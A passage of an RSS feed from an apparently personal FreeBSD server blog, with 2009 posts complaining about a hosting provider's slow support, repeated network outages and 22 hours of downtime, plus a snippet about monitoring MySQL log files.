<p>Related posts:<ol><li><a href='http://www.freebsdblog.org/71/mysql-log-file/' rel='bookmark' title='Permanent Link: MySQL Log File'>MySQL Log File</a></li><li><a href='http://www.freebsdblog.org/87/mysql-start-script/' rel='bookmark' title='Permanent Link: MySQL Start Script'>MySQL Start Script</a></li><li><a href='http://www.freebsdblog.org/99/mysql-backup-and-mycnf/' rel='bookmark' title='Permanent Link: MySQL Backup and my.cnf'>MySQL Backup and my.cnf</a></li></ol></p>]]></content:encoded><description>I rarely check MySQL log file, but recently I got some table corruption errors, and it&amp;#8217;s hard to notice these errors, especially when these tables are not critical. I realized that it&amp;#8217;s necessary to monitor MySQL log file. According to MySQL manual, before version 5.1.20, it&amp;#8217;s not possible to log MySQL errors to syslog. I&amp;#8217;m [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.freebsdblog.org/125/monitor-mysql-log-file/feed/</wfw:commentRss></item><item><title>Horrible Support</title><link>http://www.freebsdblog.org/124/horrible-support/</link><category>Misc</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">KP</dc:creator><pubDate>Sun, 01 Mar 2009 15:57:14 PST</pubDate><guid isPermaLink="false">http://www.freebsdblog.org/wp/?p=124</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>After yesterday&#8217;s server problem, I realized how &#8216;horrible&#8217; a support can be, it&#8217;s beyond my imagination.<span id="more-124"></span></p>
<p><strong>1. He can&#8217;t read</strong>. So he has to ask many stupid questions before he can do anything.</p>
<p><strong>2. He is very slow.</strong> After waited for one hour, I got a stupid question, then waited for another hour and got another stupid question&#8230;and go on&#8230;</p>
<p><strong>3. He doesn&#8217;t know how to login.</strong> Here is what I wrote in my ticket:<br />
[Server login info]<br />
IP: x.x.x.x<br />
Port: xxxx<br />
Login account: xxx<br />
password: xxx<br />
Then use su command, password: xxx</p>
<p>Guess what? In the system log file, I saw the support tried to login with root account again and again, and of course, he never got in.</p>
<p>4. Just <strong>tell the customers it&#8217;s their problem</strong>. He can&#8217;t login, what more can I expect?</p>
<p>5. Now I have to convince the support it&#8217;s their problem, basically I taught him what to do.</p>
<p>6. The support told me that the networking department has started working on it. I&#8217;m not sure how big my ISP is, but I can only wait, because any questions will be replied with &#8220;I don&#8217;t know either, I&#8217;m waiting as well&#8230;&#8221;.</p>
<p>7. After 22 hours down time, completely ISP&#8217;s fault, I couldn&#8217;t get an explanation. He uses their secret &#8216;networking department&#8217; to answer all questions.</p>
<p>And finally, I&#8217;m really wondering, why did my ISP touch my IPs? To train new horrible supports? Play with these IPs? This problem should never have happened.</p>


<p>Related posts:<ol><li><a href='http://www.freebsdblog.org/88/add-gd-support-for-php/' rel='bookmark' title='Permanent Link: Add GD Support for PHP'>Add GD Support for PHP</a></li></ol></p>]]></content:encoded><description>After yesterday&amp;#8217;s server problem, I realized how &amp;#8216;horrible&amp;#8217; a support can be, it&amp;#8217;s beyond my imagination.
1. He can&amp;#8217;t read. So he has to ask many stupid questions before he can do anything.
2. He is very slow. After waited for one hour, I got a stupid question, then waited for another hour and got another stupid [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.freebsdblog.org/124/horrible-support/feed/</wfw:commentRss></item><item><title>Another Network Problem</title><link>http://www.freebsdblog.org/123/another-network-problem/</link><category>Networking</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">KP</dc:creator><pubDate>Sun, 01 Mar 2009 01:05:56 PST</pubDate><guid isPermaLink="false">http://www.freebsdblog.org/wp/?p=123</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Today I found some sites on my server didn&#8217;t respond, but I couldn&#8217;t find anything wrong with the server. Apache logs showed that these websites hadn&#8217;t got any visits since 16 hours ago.<span id="more-123"></span></p>
<p>Contacted the support, after two hours waiting, I was told that it&#8217;s not their problems. Although I didn&#8217;t know the exact cause, I believe such weird problems should be caused by some errors outside the server. These non-working websites are in the same IP range, I told the support that they must have changed something on their side, which caused those IPs to stop working, after another two hours communications, they finally did something and fixed the problem.</p>
<p>After moved to Burst.net less than two months ago, I have experienced a few serious problems, <a href="http://www.freebsdblog.org/117/signal-11-revisited/">harddisk error</a>, <a href="http://www.freebsdblog.org/122/network-outage/">network problem</a>, and this time 20 hours down time. I think the <a href="http://www.freebsdblog.org/121/mad/">strange server problem</a> last time was very probably due to a similar error like this time. But I should only blame myself, after read lots of bad reviews on WHT, I still signed up. I thought I usually didn&#8217;t need the support, and they have been in hosting business since 1996. Now I have to admit I was so wrong!</p>


<p>Related posts:<ol><li><a href='http://www.freebsdblog.org/122/network-outage/' rel='bookmark' title='Permanent Link: Network Outage'>Network Outage</a></li><li><a href='http://www.freebsdblog.org/126/moved-out/' rel='bookmark' title='Permanent Link: Moved Out'>Moved Out</a></li><li><a href='http://www.freebsdblog.org/121/mad/' rel='bookmark' title='Permanent Link: MAD'>MAD</a></li></ol></p>]]></content:encoded><description>Today I found some sites on my server didn&amp;#8217;t respond, but I couldn&amp;#8217;t find anything wrong with the server. Apache logs showed that these websites hadn&amp;#8217;t got any visits since 16 hours ago.
Contacted the support, after two hours waiting, I was told that it&amp;#8217;s not their problems. Although I didn&amp;#8217;t know the exact cause, I [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.freebsdblog.org/123/another-network-problem/feed/</wfw:commentRss></item><item><title>Network Outage</title><link>http://www.freebsdblog.org/122/network-outage/</link><category>Misc</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">KP</dc:creator><pubDate>Mon, 02 Feb 2009 13:18:26 PST</pubDate><guid isPermaLink="false">http://www.freebsdblog.org/wp/?p=122</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>My ISP had a network outage yesterday, which caused a few hours sluggish time&#8230;very hard to connect. I signed up despite of many bad reviews on my ISP on WHT, mainly about the network and support. But if it&#8217;s bad, it&#8217;s bad, I&#8217;m not luckier than anyone else. A long history in the industry doesn&#8217;t mean anything!!<span id="more-122"></span></p>
<p>A stable server is so important, if it&#8217;s running smoothly, all stats are going up; anything happened to the server, it took a few days to recover. Not sure if should I move out now, but I know these kind of problems will happen from time to time.</p>


<p>Related posts:<ol><li><a href='http://www.freebsdblog.org/126/moved-out/' rel='bookmark' title='Permanent Link: Moved Out'>Moved Out</a></li><li><a href='http://www.freebsdblog.org/123/another-network-problem/' rel='bookmark' title='Permanent Link: Another Network Problem'>Another Network Problem</a></li></ol></p>]]></content:encoded><description>My ISP had a network outage yesterday, which caused a few hours sluggish time&amp;#8230;very hard to connect. I signed up despite of many bad reviews on my ISP on WHT, mainly about the network and support. But if it&amp;#8217;s bad, it&amp;#8217;s bad, I&amp;#8217;m not luckier than anyone else. A long history in the industry doesn&amp;#8217;t [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.freebsdblog.org/122/network-outage/feed/</wfw:commentRss></item></channel></rss>
